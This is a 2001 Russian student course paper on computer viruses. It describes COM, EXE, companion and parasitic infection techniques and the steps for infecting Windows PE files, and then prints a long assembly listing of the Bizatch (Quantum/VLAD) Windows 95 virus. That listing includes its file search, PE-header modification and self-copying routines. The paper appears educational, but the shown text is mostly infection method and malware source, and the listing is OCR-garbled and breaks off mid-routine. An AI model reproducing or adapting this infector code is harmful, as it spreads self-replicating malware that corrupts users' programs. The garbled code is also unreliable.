Компьютерные вирусы

МИНИСТЕРСТВО ОБРАЗОВАНИЯ РОССИЙСКОЙ ФЕДЕРАЦИИ



ТАГАНРОГСКИЙ РАДИОТЕХНИЧЕСКИЙ УНИВЕРСИТЕТ









РЕФЕРАТ

по курсу «Основы эксплуатации ЭВМ»



тема: «Компьютерные вирусы, методы защиты,

 профилактика и лечение»













Выполнил :                                                                   Шуев  С.Б.                               





Проверил :                                                                     Евтеев Г.Н.

















ТАГАНРОГ, 2001



ВВЕДЕНИЕ

При работе с современным персональным компьютером пользователя (а особенно начинающего) может подстерегать множество неприятностей: потеря данных, зависание системы, выход из строя отдельных частей компьютера и другие. Одной из причин этих  проблем наряду с ошибками в программном  обеспечении)  и  неумелыми  действиями самого оператора ПЭВМ могут быть проникшие в систему компьютерные вирусы. Эти  программы  подобно  биологическим  вирусам размножаются, записываясь в системные области диска  или  приписываясь к файлам и производят различные нежелательные действия, которые, зачастую, имеют катастрофические  последствия.  Чтобы  не стать жертвой этой напасти, каждому пользователю  следует  хорошо знать принципы защиты от компьютерных вирусов.

В литературе весьма настойчиво пропагандируется, что избавиться от вирусов можно лишь при помощи сложных (и дорогостоящих) антивирусных программ, и якобы только под их защитой вы сможете чувствовать себя в полной безопасности. Это не совсем так – знакомство с особенностями строения и способами внедрения компьютерных вирусов поможет вовремя их обнаружить и локализовать, даже если под рукой не окажется подходящей антивирусной программы.


COM – вирусы.

Рассмотрим два варианта внедрения COM- вируса. 

Вариант первый. Вирус переписывает начало программы в конец файла, чтобы освободить место для себя. После этого тело вируса записывается в начало файла, а небольшая его часть, обеспечивающая перенос вытесненного фрагмента программы, на прежнее место – в конец. При восстановлении первоначального вида программы тело вируса будет затерто, поэтому код вируса, восстанавливающий программу, должен находиться в безопасном месте, отдельно от основного тела вируса. Этот способ внедрения изображен на рис. 1.



      ПРОГРАММА

Начало     Основная часть

Свободное	      ПРОГРАММА	       ПРОГРАММА

 место		     Основная часть	           Начало

ВИРУС	ПРОГРАММА	ПРОГРАММА 	      ВИРУС

		Основная часть	Начало		       Конец

Начало программы переписывается в конец файла, освобождая место для вируса







Тело вируса записывается в начало файла, а часть вируса обеспечивающая восстановление программы – в конец







											Рис. 1

При загрузке зараженного таким способом файла управление получит вирус (так как он находится в начале файла и будет загружен с адреса 100h). После окончания работы вирус передает управление коду, переносящему вытесненную часть программы на прежнее место. После восстановления      (в памяти, не в файле) первоначального вида программы, она запускается. Схема работы вируса изображена на рис. 2.

Второй вариант отличается от первого тем, что вирус, освобождая для себя место, сдвигает все тело программы, а не переносит ее часть в конец файла. Этот способ внедрения изображен на рис. 3. После запуска зараженной программы, как и в предыдущем случае, управление получает вирус. 



ВИРУС	ПРОГРАММА	ПРОГРАММА 	      ВИРУС

		Основная часть	Начало		       Конец

ВИРУС	ПРОГРАММА	ПРОГРАММА 	      ВИРУС

		Основная часть	Начало		       Конец

      ПРОГРАММА						     ВИРУС

Начало     Основная часть					      КонецОтработав, вирус передает управление своему коду в конце программы.







Восстанавливается первоначальный вид программы







После восстановления вирус запускает программу

Рис.2

Дальнейшая работа вируса отличается только тем, что часть вируса, восстанавливающая первоначальный вид программы, переносит к адресу 100h все тело программы, а не только вытесненную часть. Схема работы вируса, заражающего файл таким образом, приведена на рис. 4.



ПРОГРАММА

Свободное		ПРОГРАММА

место

ВИРУС		ПРОГРАММА		ВИРУС

							КонецТело программы сдвигается ближе к концу файла, освобождая место для вируса









Тело вируса записывается в начало файла, а часть вируса, обеспечивающая восстановление программы – в конец







рис. 3







ВИРУС		ПРОГРАММА		ВИРУС

							КонецОтработав, вирус передает управление своему коду в конце программы.





ВИРУС		ПРОГРАММА		ВИРУС

							КонецВосстанавливается первоначальный вид программы – тело программы сдвигается к адресу 0100h 





ПРОГРАММА					ВИРУС

							КонецПосле восстановления вирус запускает программу



рис. 4


EXE – вирусы

EXE – вирусы условно можно разделить на группы, используя в качестве признака для деления особенности алгоритма.



Вирусы, замещающие программный код (Overwrite).

Такие вирусы уже стали раритетом. Их главный недостаток – слишком грубая работа. Инфицированные программы не исполняются, так как вирус записывается поверх программного кода, не сохраняя его. При запуске вирус ищет очередную жертву (или жертвы), открывает найденный файл для редактирования и записывает свое тело в начало программы, не сохраняя оригинальный код. Инфицированные этими вирусами программы лечению не подлежат.



Вирусы – спутники (Companion).

Эти вирусы получили свое название из-за алгоритма размножения: к каждому инфицированному файлу создается файл – спутник. Рассмотрим более подробно два типа вируса этой группы:

Вирусы первого типа размножаются следующим образом. Для каждого инфицируемого EXE – файла в том же каталоге создается файл с вирусным кодом, имеющим такое же имя, что и EXE – файл, но с расширением СОМ. Вирус активизируется, если при запуске программы в командной строке указано только имя исполняемого файла. Дело в том, что, если не указано расширение файла, DOS сначала ищет в текущем каталоге файл с заданным именем и расширением СОМ. Если СОМ – файл с таким именем не найден, ведется поиск одноименного ЕХЕ – файла. Если не найден и ЕХЕ – файл, DOS попробует обнаружить и ВАТ (пакетный) файл. В случае отсутствия в текущем каталоге исполняемого файла с указанным именем поиск ведется во всех каталогах, доступных по переменной РАТН. Другими словами, когда пользователь хочет запустить программу и набирает в командной строке только ее имя (в основном так все и делают ), первым управление получает вирус, код которого находится в СОМ – файле. Он создает СОМ – файл еще к одному или нескольким ЕХЕ – файлам (распространяется), а затем исполняет ЕХЕ – файл с указанным в командной строке именем. Пользователь же думает, что работает только запущенная ЕХЕ – программа. Вирус – спутник обезвредить довольно просто – достаточно удалить СОМ – файл.

Вирусы второго типа действуют более тонко. Имя инфицируемого ЕХЕ – файла остается прежним, а расширение заменяется каким – либо другим, отличным от исполняемого (СОМ, ЕХЕ и ВАТ). Например файл может пллучить расширение DAT (файл данных) или OVL (программный оверлей). Затем на место ЕХЕ – файла копируется вирусный код. При запуске такой инфицированной программы управление получает вирусный код, находящийся  в ЕХЕ – файле. Инфицировав еще один или несколько ЕХЕ – файлов таким же образом, вирус возвращает оригинальному файлу исполняемое расширение (но не ЕХЕ, а СОМ, посколько ЕХЕ – файл  стаким именем занят вирусом), после чего исполняет его. Когда работа инфицированной программы закончена, ее запускаемому файлу возвращается расширение неисполняемого. Лечение файлов, зараженных вирусом этого типа, может быть затруднено, если вирус – спутник шифрует часть или все тело инфицируемого файла, а перед исполнением его расшифровывает.



Вирусы, внедряющиеся в программу (Parasitic)

Вирусы этого вида самые незаметные: их код записывается в инфицируемую программу, что существенно затрудняет лечение зараженных файлов. Рассмотрим методы внедрения ЕХЕ - вирусов в ЕХЕ - файл.


Способы заражения ЕХЕ – файлов.

Самый распространенный способ заражения ЕХЕ – файлов такой: в конец файла дописывается тело вируса, а заголовок корректируется (с сохранением оригинального) так, чтобы при запуске инфицированного файла управление получал вирус. Похоже на заражение СОМ – файлов, но вместо задания в коде перехода в начало вируса корректируется собственно адрес точки запуска программы. После окончания работы вирус берет из сохраненного заголовка оригинальный адрес запуска программы, прибавляет к его сегментной компоненте значение регистра DS или ES (полученное при старте вируса) и передает управление на полученный адрес.

Следующий способ – внедрение вируса в начало файла со сдвигом кода программы. Механизм заражения такой: тело инфицируемой программы считывается в память, на ее место записывается вирусный код, а после него – код инфицируемой программы. Таким образом, код программы как бы «сдвигается» в файле на длину кода вируса. Отсюда и название способа – «способ сдвига». При запуске инфицированного файла вирус заражает еще один или несколько файлов. После этого он считывает в память код программы, записывает его в специально созданный на диске временный файл с расширением исполняемого файла (СОМ или ЕХЕ), и затем исполняет этот файл. Когда программа закончила работу, временный файл удаляется. Если при создании вируса не применялось дополнительных приемов защиты, то вылечить инфицированный файл очень просто – достаточно удалить код вируса в начале файла, и программа снова будет работоспособной. Недостаток этого метода в том, что приходиться считывать в память весь код инфицируемой программы (а бывают экземпляры размером больше 1 Мбайт).

Следующий способ заражения файлов – метод переноса – по всей видимости, является самым совершенным из всех перечисленных. Вирус размножается следующим образом: при запуске инфицируемой программы тело вируса из нее считывается в память. Затем ведется поиск неинфицированной программы. В память считывается ее начало, по длине равную телу вируса. На это место записывается тело вируса. Начало программы из памяти дописывается в конец файла. Отсюда название метода – «метод переноса». После того, как вирус инфицировал один или несколько файлов, он приступает к исполнению программы, из которой запустился. Для этого он считывает начало инфицированной программы, сохраненное в конце файла, и записывает его в начало файла, восстанавливая работоспособность программы. Затем вирус удаляет код начала программы из конца файла, восстанавливая оригинальную длину файла, и исполняет программу. После завершения программы вирус вновь записывает свой код в начало файла, а оригинальное начало программы -  в конец. Этим методом могут быть инфицированы даже антивирусы, которые проверяют свой код на целостность, так как запускаемая вирусом программа имеет в точности такой же код, как и до инфицирования.


Вирусы под Windows 9x.

Формат Portable Executable используется Win 32, Windows NT , Windows 95, Windows 98, что делает его очень популярным, и в будущем, возможно он станет доминирующим форматом ЕХЕ. Этот формат значительно отличается от NE – executable, используемого в Windows 3.11.



Вызов Windows API.

Обычные приложения вызывают Windows API (Application Program Interface) используя таблицу импортируемых имен. Когда приложение загружено, данные, необходимые для вызова API, заносятся в эту таблицу. В Windows 9x, благодаря предусмотрительности фирмы – производителя Microsoft, модифицировать таблицу импортируемых имен невозможно. Это проблема решается непосредственным вызовом KERNEL32. То есть необходимо полностью игнорировать структуру вызова и перейти непосредственно на точку входа DLL.

Чтобы получить описатель (Handle) DLL/ЕХЕ, можно использовать вызов  АРI GetModuleHandle или другие функции для получения точек входа модуля, включая функцию получения адреса API GetProcAddress.

Как вызывать API, имея возможность вызывать его и в то же время такой возможности не имея? Ответ: вызывать API, расположение которого в памяти известно – это API в файле KERNEL32.DLL, он находится по постоянному адресу.

Вызов API приложениями выглядит приблизительно так:

сall	 API_FUNCTION_NAME

например:

call 	CreateFileA

После компиляции этот вызов выглядит так:

db 	9Ah	; инструкция call

dd 	????	;смещение в таблице переходов

Код в таблице переходов похож на такой:

jmp 	far [offset into import table]

Смещение в таблице импортируемых имен содержит адрес диспетчера для данной функции API. Этот адрес можно получить с помощью GetProcAddress API. Диспетчер функций выглядит так:

push	 function value

call 	Module Entrypoint

Зная точки входа, можно вызывать их напрямую, минуя таблицу этого модуля. Поэтому можно заменить вызовы KERNEL32.DLL в его стандартной точке на вызовы непосредственно функций. Просто сохраняем в стеке значение функции и вызываем точку входа в модуль. 

Модуль KERNEL32.DLL располагается в памяти статически – именно так и предполагалось. Но конкретное место его расположения в разных версиях Windows 9x отличается. Это было проверено. Оказалось, что одна функция (получение времени/даты) отличается номером. Для компенсации этих различий добавлена проверка двух различных мест на наличие KERNEL32.DLL. Но если KERNEL32.DLL все-таки не найден, вирус возвращает управление программе-носителю.



Адреса и номера функции.

Для June Test Release KERNEL32.DLL находится по адресу 0BFF93B95h, для August Release – по адресу 0BFF93C1Dh. Можно найти другие значения функции, используя 32-битный отладчик. В таблице 1 приведены адреса функций, которые нужны для работы вируса.











Таблица 1. Адреса некоторых функций KERNEL32.DLL



Функция

Адрес в June Test Release

Адрес в August Test Release

GetCurrentDir

BFF77744h

BFF77744h

SetCurrentDir

BFF7771Dh

BFF7771Dh

GetTime

BFF9D0B6h

BFF9D14Eh

MessageBox

BFF638D9h

BFF638D9h

FindFile

BFF77893h

BFF77893h

FindNext

BFF778CBh

BFF778CBh

CreateFile

BFF77817h

BFF77817h

SetFilePointer

BFF76FA0h

BFF76FA0h

ReadFile

BFF75806h

BFF75806h

WriteFile

BFF7580Dh

BFF7580Dh

CloseFile

BFF7BC72h

BFF7BC72h



Соглашения о вызовах.

Windows 9x написан на языках С++ (в основном) и Assembler. И, хотя соглашения о вызовах просты для применения, Microsoft их не использует. Все АРI под Windows 9x используют Pascal Calling Convention. Пример – АРI, описанный в файлах справки Visual C++: 

FARPROC	GetProcAddres (

		HMODULE	hModule,			// описатель DLL-модуля

		LPCSTR	lpszProc			// имя функции

);



На первый взгляд кажется, что достаточно лишь сохранить в стеке описатель DLL-модуля (он стоит перед указателем на имя функции) и вызвать API. Но это не так. Параметры, согласно Pascal Calling Convention, должны быть сохранены в стеке  в обратном порядке:

Push 	offset lpszProc

Push	dword ptr [hModule]

Call	GetProcAddress



Используя 32-битный отладчик, можно оттрасировать вызов и найти вызов KERNEL32.DLL для каждого конкретного случая. Это позволит получить номер функции и обойтись без необходимой для вызова таблицы импортируемых имен.


Заражение файлов формата PE – execuatable.

Определение положения начала РЕ – заголовка происходит аналогично поиску начала NE – заголовка. Если смещение таблицы настройки адресов (поле 18h) в заголовке ЕХЕ – файла 40h или больше, то по смещению 3Ch находится смещение PE – execuatable заголовка. Сигнатура PE – execuatable («РЕ») находится, как и у NE – execuatable ЕХЕ – файла, в начале нового заголовка.

Внутри PE – заголовка находится таблица объектов. Ее формат наиболее важен по сравнению с прочими. Для добавления вирусного кода в носитель и перехвата вирусом управления необходимо добавить элемент в таблицу объектов.

Основные действия заражения PE – execuatable файла:

Найти смещение заголовка PE – execuatable в файле.

Считать достаточное количество информации из заголовка для вычисления его полного размера.

Считать весь PE – заголовок и таблицу объектов.

Добавить новый объект в таблицу объектов.

Установить точку входа RVA на новый объект.

Дописать вирус к файлу по вычисленному физическому смещению.

Записать измененный РЕ – заголовок в файл.



Для определения расположения таблицы объектов следует воспользоваться значением переменной «HeaderSize» (не путать с «NT headersize»), которая содержит совместный размер заголовков DOS, PE и таблицы объектов.

Для чтения таблицы объектов необходимо считать HeaderSize байт от начала файла.

Таблица объектов расположена непосредственно за NT – заголовком. Значение «NTheadersize» показывает количество байт, следующих за полем «flags». Итак, для определения смещения таблицы объектов нужно получить NТheadersize и добавить размер поля флагов (24).

Добавление объекта: получив количество объектов, умножить его на 40 (размер элемента таблицы объектов). Таким образом определяется смещение, по которому будет расположен вирус.

Данные для элемента таблицы объектов должны быть вычислены с использованием информации в предыдущем элементе (элементе носителя).



RVA=((prev RVA+ prev Virtual Size)/OBJ Alignment+1)

*OBJ Alignment

Virtual Size=((size of virus+buffer any space)/OBJ Alignment+1)

*OBJ Alignment

Physical Size=(size of virus/File Alignment+1)*File Alignment

Physical Offset=prev Physical Offset+prev Physical Size

Object Flags=db 40h,0,0,C0h

Entrypoint RVA=RVA



Теперь необходимо увеличить на единицу поле «количество объектов» и записать код вируса по вычисленному «физическому смещению» в размере физического размера байт.


Пример вируса под Windows 9x.



.386

locals

jumps

.model flat,STDCALL

 include win32.inc      ;некоторые 32-битные константы и структуры

 L equ <LARGE>

                        ;Определим внешние функции, к которым будет подключаться вирус

 extrn BeginPaint:PROC

 extrn CreateWindowExA:PROC

 extrn DefWindowProcA:PROC

 extrn DispatchMessageA:PROC

 extrn EndPaint:PROC

 extrn ExitProcess:PROC

 extrn FindWindowA:PROC

 extrn GetMessageA:PROC

 extrn GetModuleHandleA:PROC

 extrn GetStockObject:PROC

 extrn InvalidateRect:PROC

 extrn LoadCursorA:PROC

 extrn LoadIconA:PROC

 extrn MessageBeep:PROC

 extrn PostQuitMessage:PROC

 extrn RegisterClassA:PROC

 extrn ShowWindow:PROC

 extrn SetWindowPos:PROC

 extrn TextOutA:PROC

 extrn TranslateMessage:PROC

 extrn UpdateWindow:PROC



        ;Для поддержки Unicode Win32 интерпретирует некоторые функции

        ;для ANSI или расширенного набора символов.

        ;В качестве примера рассмотрим ANSI



 CreateWindowEx equ <CreateWindowExA>

 DefWindowProc equ <DefWindowProcA>

 DispatchMessage equ <DispatchMessageA>

 FindWindow equ <FindWindowA>

 GetMessage equ <GetMessageA>

 GetModuleHandle equ <GetModuleHandleA>

 LoadCursor equ <LoadCursorA>

 LoadIcon equ <LoadIconA>

 MessageBox equ <MessageBoxA>

 RegisterClass equ <RegisterClassA>

 TextOut equ <TextOutA>



.data

 newhwnd     dd 0

 lppaint PAINTSTRUCT <?>

 msg MSGSTRUCT <?>

 wc WNDCLASS <?>

 mbx_count   dd 0

 hInst       dd 0

 szTitleName db "Bizatch by Quantum / VLAD activated"

 zero        db 0

 szAlternate db "more than once",0

 szClassName db "ASMCLASS32",0

                        ;Сообщение выводимое в окне

 szPaint db "Left button pressed:"

 s_num   db "00000000h times.",0



                        ;Размер сообщения

 MSG_L EQU ($-offset szPaint)-1

.code

                        ;Сюда  обычно передается управление от загрузчика.

start:

                        ;Получим HMODULE

 push L 0

 call GetModuleHandle

 mov  [hInst],eax

 push L 0

 push offset szClassName

 call FindWindow

 or   eax,eax

 jz   reg_class

                         ;Пространство для модификации строки заголовка

 mov [zero]," "

reg_class:

                         ;Инициализируем структуру WndClass

 mov [wc.clsStyle],CS_HREDRAW+CS_VREDRAW+CS_GLOBALCLASS

 mov [wc.clsLpfnWndProc],offset WndProc

 mov [wc.clsCbClsExtra],0

 mov [wc.clsCbWndExtra],0

 mov eax,[hInst]

 mov [wc.clsHInstance],eax

                         ;Загружаем значок

 push L IDI_APPLICATION

 push L 0

 call LoadIcon

 mov  [wc.clsHIcon],eax

                         ;Загружаем курсор

 push L IDC_ARROW

 push L 0

 call LoadCursor

 mov  [wc.clsHCursor],eax

                         ;Инициализируем оставшиеся поля структуры WndClass

 mov [wc.clsHbrBackground],COLOR_WINDOW+1

 mov dword ptr [wc.clsLpszMenuName],0

 mov dword ptr [wc.clsLpszClassName],offset szClassName

               ;Регистрирем класс окна

 push offset wc

 call RegisterClass

                                  ;Создаем окно

 push L 0                         ;lpParam

 push [hInst]                     ;hInstance

 push L 0                         ;Меню

 push L 0                         ;hwnd родительского окна

 push L CW_USEDEFAULT             ;Высота

 push L CW_USEDEFAULT             ;Длина

 push L CW_USEDEFAULT             ;Y

 push L CW_USEDEFAULT             ;X

 push L WS_OVERLAPEEDWINDOW       ;Style

 push offset szTitleName          ;Title Style

 push offset szClassName          ;Class Name

 push L 0                         ;extra style

 call CreateWindowEx

                                  ;Сохраняем HWND

 mov [newhwnd],eax

                                  ;Отображаем окно на экране

 push L SW_SHOWNORMAL

 push [newhwnd]

 call ShowWindow

                                  ;Обновляем содержимое окна

 push [newhwnd]

 call UpdateWindow

                                  ;Очередь сообщений

msg_loop:

                                  ;Прочитаем следующее сообщение из очереди

 push L 0

 push L 0

 push L 0

 push offset msg

 call GetMessage

                        ;Если функция GetMessage вернула нулевое значение,

                        ;то завершаем обработку сообщений и выходим из процесса

 cmp ax,0

 je  end_loop

                        ;преобразуем виртуальные коды клавиш в сообщения клавиатуры

 push offset msg

 call TranslateMessage

                       ;Предаем это сообщение назад в Windows

 push offset msg

 call DispatchMessage

                       ;Переходим к следующему сообщению

 jmp msg_loop

                        ;Выходим из процесса

end_loop:

 push [msg.msWPARAM]

 call ExitProcess

      ;Обработка сообщений окна. Win32 требует сохранения регистров

      ;EBX, EDI, ESI. запишем эти регистры после "uses" в строке "proc"

      ;Это позволит Ассемблеру сохранить их

 WndProc proc uses ebx edi esi,hwnd:DWORD, wmsg:DWORD,

 wparam:DWORD, lparam:DWORD

 LOCAL theDC:DWORD



;Проверим, какое сообщение получили, и перейдем к обработке



cmp [wmsg],WM_DESTROY

je   wmdestroy

стр [wmsg],WM_RBUTTONDOWN

je   wmrbuttondown

cmp [wmsg],WM_SIZE

je   wmsize

cmp [wmsg],WM_CREATE

je   wmcreate

cmp [wmsg],WM_LBUTTONDOWN

je   wmlbuttondown

cmp [wmsg],WM_PAINT

je   wmpaint

cmp [wmsg],WM_GETMINMAXINFO

je   wmgetminmaxinfo


;Данная программа не обрабатывает это сообщение.
;Передадим его Windows,
;чтобы оно было обработано по умолчанию

jmp defwndproc



;Сообщение WM_PAINT (перерисовать содержимое окна)wmpaint:



;Подготовим окно для перерисовки

push offset Ippaint

push [hwnd]

call  BeginPaint

mov [theDC], eax



;Переведем в ASCII-формат значение mbx_count, которое

;доказывает, сколько раз была нажата левая кнопка мыши



mov eax,[mbx_count]

mov edi, offset s_num

call  HexWrite32



; Вывод строки в окно



push L MSG_L              ;Длина строки

push offset szPaint       ;Строка

push L 5                  ;Y

push L 5                  ;X

push [theDC]              ;DC

call TextOut



;0бозначим завершение перерисовки окна

push offset Ippaint

push [hwnd]

call  EndPaint



;Выходим из обработки сообщения

mov eax, 0

jmp finish



;Сообщение WM_CREATE (создание окна)



wmcreate:



; Выходим из обработки сообщения

mov eax, 0

jmp finish



;Сообщение, не обрабатываемое данной программой, передаем Windows

defwndproc:



push [Iparam]

push [wparam]

push [wmsg]

push [hwnd]

call DefWindowProc



; Выходим из обработки сообщения

jmp finish



;Сообщение WM_DESTROY (уничтожение окна)

wmdestroy:



; Закроем поток

push L О

call PostQuitMessage



;Выходим из обработки сообщения

mov eax, О

jmp finish



;Сообщение WMJ-BUTTONDOWN (нажата левая кнопка мыши)

wmlbuttondown:



inc   [mbx_count]



;0бновим содержимое окна

push L 0

push L 0

push [hwnd]

call InvalidateRect



[Выходим из обработки сообщения

mov eax, О

jmp finish



;Сообщение WM_RBUTTONDOWN (нажата правая кнопка мыши)



wmrbuttondown:



push L 0

call MessageBeep



;Выходим из обработки сообщения

jmp finish



;Сообщение WM_SIZE (изменен размер окна)

wmsize:



;Выходим из обработки сообщения

mov eax, О

jmp finish



;Сообщение WM_GETMINMAXINFO (попытка изменить размер



;или положение окна)



wmgetminmaxinfo:



;Заполним структуру MINMAXINFO

mov ebx, [Iparam]



mov [(MINMAXINFO ptr. ebx).mintrackposition_x],350

mov [(MINMAXINFO ptr ebx).mintrackposition_y],60



;Выходим из обработки сообщения

mov eax, О

jmp finish



;Выходим из обработки сообщения

finish:



ret

WndProc endp



;Процедура перевода байта в ASCII-формат для печати. Значение,

;находящееся в регистре AL, будет записано в ASCII-формате

;по адресу ES-.EDI

HexWriteS proc



;Разделяем байт на полубайты и загружаем их в регистры АН и AL

mov ah,al

and al.0Fh

shr  ah,4



;Добавляем 30h к каждому полубайту, чтобы регистры содержали коды

;соответствующих символов ASCII. Если число,



;записанное в полубайте, было больше 9,

;то значение в этом полубайте надо еще корректировать

or   ax,3030h



;Меняем полубайты местами, чтобы регистр АН содержал младший

;полубайт, а регистр AL - старший

xchg al.ah



;Проверим, надо ли корректировать младший полубайт,

;если да - корректируем



cmp ah, 39h

ja   @@4



;Проверим, надо ли корректировать старший полубайт,

;если да - корректируем



@@1:

cmp al,39h

ja   @@3



;Сохраним значение по адресу ES:EDI

@@2:

stosw

ret



;Корректируем значение старшего полубайта

@@3:

sub al, 30h

add al, "A"-10

jmp @@2



;Корректируем значение младшего полубайта

@@4:

sub ah, 30h

add ah, "A"-10

jmp @@1

HexWriteS endp



; Процедура перевода слова в ASCII-формат для печати.

;Значение, находящееся в регистре АХ, будет записано

;в ASCII-формате по адресу ES:EDI



HexWrite16 proc



;Сохраним младший байт из стека

push ax



;Загрузим старший байт в регистр AL

xchg al,ah



;Переведем старший байт в ASCII-формат

call HexWriteS



;Восстановим младший байт из стека

pop ax



;Переведем младший байт в ASCII-формат



call  HexWriteS

ret

HexWrite16 endp



;Процедура перевода двойного слова в ASCII-формат для печати.

;Значение, находящееся в регистре ЕАХ, будет записано

;в ASCII-формате по адресу ES:EDI

HexWrite32 proc



;Сохраним младшее слово из стека

push eax



;Загрузим старшее слово в регистр АХ

shr  eax, 16



;Переведем старшее слово в ASCII-формат

call HexWrite16



;Восстановим младшее слово из стека

pop eax



;Переведем младшее слово в ASCII-формат



call HexWrite16

ret

HexWrite32 endp



;Сделаем процедуру WndProc доступной извне



public WndProc

ends



;Здесь начинается код вируса. Этот код переписывается из файла

;в файл. Все вышеописанное - всего лишь программа-носитель

vladseg segment para public "vlad"



assume cs:vladseg

vstart:   *



;Вычислим текущий адрес



call   recalc

recalc:

pop ebp

mov eax,ebp

db 2Dh         ;Код команды SUB AX

subme   dd 30000h+(recalc-vstart)



;Сохраним адрес в стеке

push eax



;Вычислим стартовый адрес вирусного кода

sub ebp,offset recalc



;Ищем KERNEL. Возьмем вторую известную нам точку KERNEL

mov eax,[ebp+offset kern2]



;Проверим ключ. Если ключа нет, перейдем к точке 1

cmp dword ptr [eax],5350FC9Ch

jnz  notkern2



;KERNEL найден, точка 2



mov eax,[ebp+offset kern2]

jmp movit



;Точка 2 не подошла, проверим точку 1

notkern2:



; Возьмем адрес первой известной нам точки KERNEL

mov eax,[ebp+offset kern1]



;Проверим ключ, если ключа нет - выходим

cmp dword ptr [eax],5350FC9Ch

jnz  nopayload



;KERNEL найден, точка 1



mov eax,[ebp+offset kern1]



;KERNEL найден, адрес точки входа находится в регистре EAX

movit:



;Сохраним адрес KERNEL

mov [ebp+offset kern],eax

cld



;3апомним текущую директорию

lea  eax, [ebp+offset orgdir]

push eax

push 255

call GetCurDir



;Инициализируем счетчик заражений



mov byte ptr [ebp+offset countinfect],0



;Ищем первый файл

infectdir:



lea   eax, [ebp+offset win32_data_thang]

push eax

lea  eax, [ebp+offset fname]

push eax

call   FindFile



;Сохраним индекс для поиска



mov dword ptr [ebp+offset searchhandle],eax



Проверим, найден ли файл. Если файл не найден,

;меняем директорию



cmp еах,-1

jz    foundnothing



;0ткроем файл для чтения и записи

gofile:

push О

push dword ptr [ebp+offset fileattr] ;FILE_ATTRIBUTE_NORMAL

push 3                        ;OPEN_EXISTING

push 0

push 0

push 80000000h+40000000h      ;GENERIC_READ+GENERIC_WRITE

lea   eax, [ebp+offset fullname]

push eax

call   CreateFile



;Сохраним описатель файла



mov dword ptr [ebp+offset ahand],eax



;Проверим, не произошла ли ошибка.

;Если ошибка произошла, ищем следующий файл



сmр еах,-1

jz    findnextone



;Доставим указатель позиции чтения/записи на поле

;со смещением РЕ-заголовка



push О

push О

push 3Ch

push dword ptr [ebp+offset ahand]

call   SetFilePointer



;Считаем адрес РЕ-заголовка

push О

lea   eax,[ebp+offset bytesread]

push eax

push 4

lea   eax, [ebp+offset peheaderoffset]

push eax

push dword ptr [ebp+offset ahand]

call  ReadFile



;Доставим указатель позиции чтения/записи на начало РЕ-заголовка

push 0

push 0

push dword ptr [ebp+offset peheaderoffset]

push dword ptr [ebp+offset ahand]

call  SetFilePointer



;Считаем число байт, достаточное для вычисления полного размера

;РЕ-заголовка и таблицы объектов



push 0 

lea   eax, [ebp+offset bytesread]

push eax

push 58h

lea  eax, [ebp+offset peheader]

push eax

push dword ptr [ebp+offset ahand]

call  ReadFile



;Проверим сигнатуру. Если ее нет, закрываем

;этот файл и ищем следующий



cmp dword ptr [ebp+offset peheader], 00004550h;

jnz   notape



;Проверим файл на зараженность. Если файл заражен,

;то закрываем этот файл и ищем следующий



cmp word ptr [ebp+offset peheader+4ch],OFOODh

jz    notape

cmp dword ptr [ebp+offset 52],4000000h

jz    notape



;Доставим указатель позиции чтения/записи на начало РЕ-заголовка

push 0

push 0

push dword ptr [ebp+offset peheaderoffset]

push dword ptr [ebp+offset ahand]

call  SetFilePointer



;Считаем весь РЕ-заголовок и таблицу объектов



push О

lea   eax, [ebp+offset bytesread]

push eax

push dword ptr [ebp+offset headersize]

lea  eax, [ebp+offset peheader]

push eax

push dword ptr [ebp+offset ahand]

call  ReadFile



;становим признак заражения



mov word ptr [ebp+offset peheader+4ch],OFOODh



;Найдем смещение таблицы объектов

xor  eax,eax

mov ax, word ptr [ebp+offset NtHeaderSize]

add eax,18h

mov dword ptr [ebp+offset ObjectTableoffset],eax



;Вычислим смещение последнего (null) объекта в таблице объектов

mov esi,dword ptr [ebp+offset ObjectTableoffset]

lea   eax, [ebp+offset peheader]

add esi,eax

xor  eax.eax

mov ax, [ebp+offset numObj]

mov ecx,40

xor  edx.edx

mul ecx

add esi,eax



;Увеличим число объектов на 1



inc   word ptr [ebp+offset numObj]

lea   edi,[ebp+offset newobject]

xchg edi,esi



;Вычислим относительный виртуальный адрес (Relative Virtual Address

;или RVA) нового объекта



mov eax,[edi-5*8+8]

add eax,[edi-5*8+12]

mov ecx,dword ptr [ebp+offset objalign]

xor  edx,edx

div   ecx

inc   eax

mul ecx

mov dword ptr [ebp+offset RVA],eax



;Вычислим физический размер нового объекта

mov ecx,dword ptr [ebp+offset filealign]

mov eax,vend-vstart

xor  edx,edx

div  ecx

inc   eax

mul ecx

mov dword ptr [ebp+offset physicalsize],eax



;Вычислим виртуальный размер нового объекта

mov ecx,dword ptr [ebp+offset objalign]

mov eax,vend-vstart+1000h

xor  edx.edx

div  ecx

inc   eax

mul ecx

mov dword ptr [ebp+offset virtualsize],eax



;Вычислим физическое смещение нового объекта

mov eax,[edi-5*8+20]

add eax,[edi-5*8+16]

mov ecx,dword ptr [ebp+offset filealign]

xor  edx,edx

div  ecx

inc   eax

mul ecx

mov dword ptr [ebp+offset physicaloffset],eax



;Обновим размер образа (размер в памяти) файла

mov eax,vend-vstart+1000h

add eax,dword ptr [ebp+offset imagesize]

mov ecx, [ebp+offset objalign]

xor  edx,edx

div  ecx

inc  eax

mul ecx

mov dword ptr [ebp+offset imagesize],eax



;Скопируем новый объект в таблицу объектов

mov ecx,10

rep movsd



;Вычислим точку входа RVA



mov eax,dword ptr [ebp+offset RVA]

mov ebx,dword ptr [ebp+offset entrypointRVA]



mov dword ptr [ebp+offset entrypointRVA],eax

sub eax.ebx

add eax,5



;Установим значение, необходимое для возврата в носитель

mov dword ptr [ebp+offset subme],eax



;Поставим указатель позиции чтения/записи на начало РЕ-заголовка



push О

push О

push dword ptr [ebp+offset peheaderoffset]

push dword ptr [ebp+offset ahand]

call   SetFilePointer



;Запишем РЕ-заголовок и таблицу объектов в файл



push О

lea   eax,[ebp+offset bytesread]

push eax

push dword ptr [ebp+offset headersize]

lea   eax, [ebp+offset peheader]

push eax

push dword ptr [ebp+offset ahand]

call   WriteFile



;Увеличим счетчик заражений



inc   byte ptr [ebp+offset countinfect]



;Поставим указатель позиции чтения/записи

;по физическому смещению нового объекта



push О

push О

push dword ptr [ebp+offset physicaloffset]

push dword ptr [ebp+offset ahand]

call   SetFilePointer



;Запишем тело вируса в новый объект

push О

lea   eax, [ebp+offset bytesread]

push eax

push vend-vstart

lea   eax, [ebp+offset vstart]

push eax

push dword ptr [ebp+offset ahand]

call  WriteFile



;3акроем файл

notape:

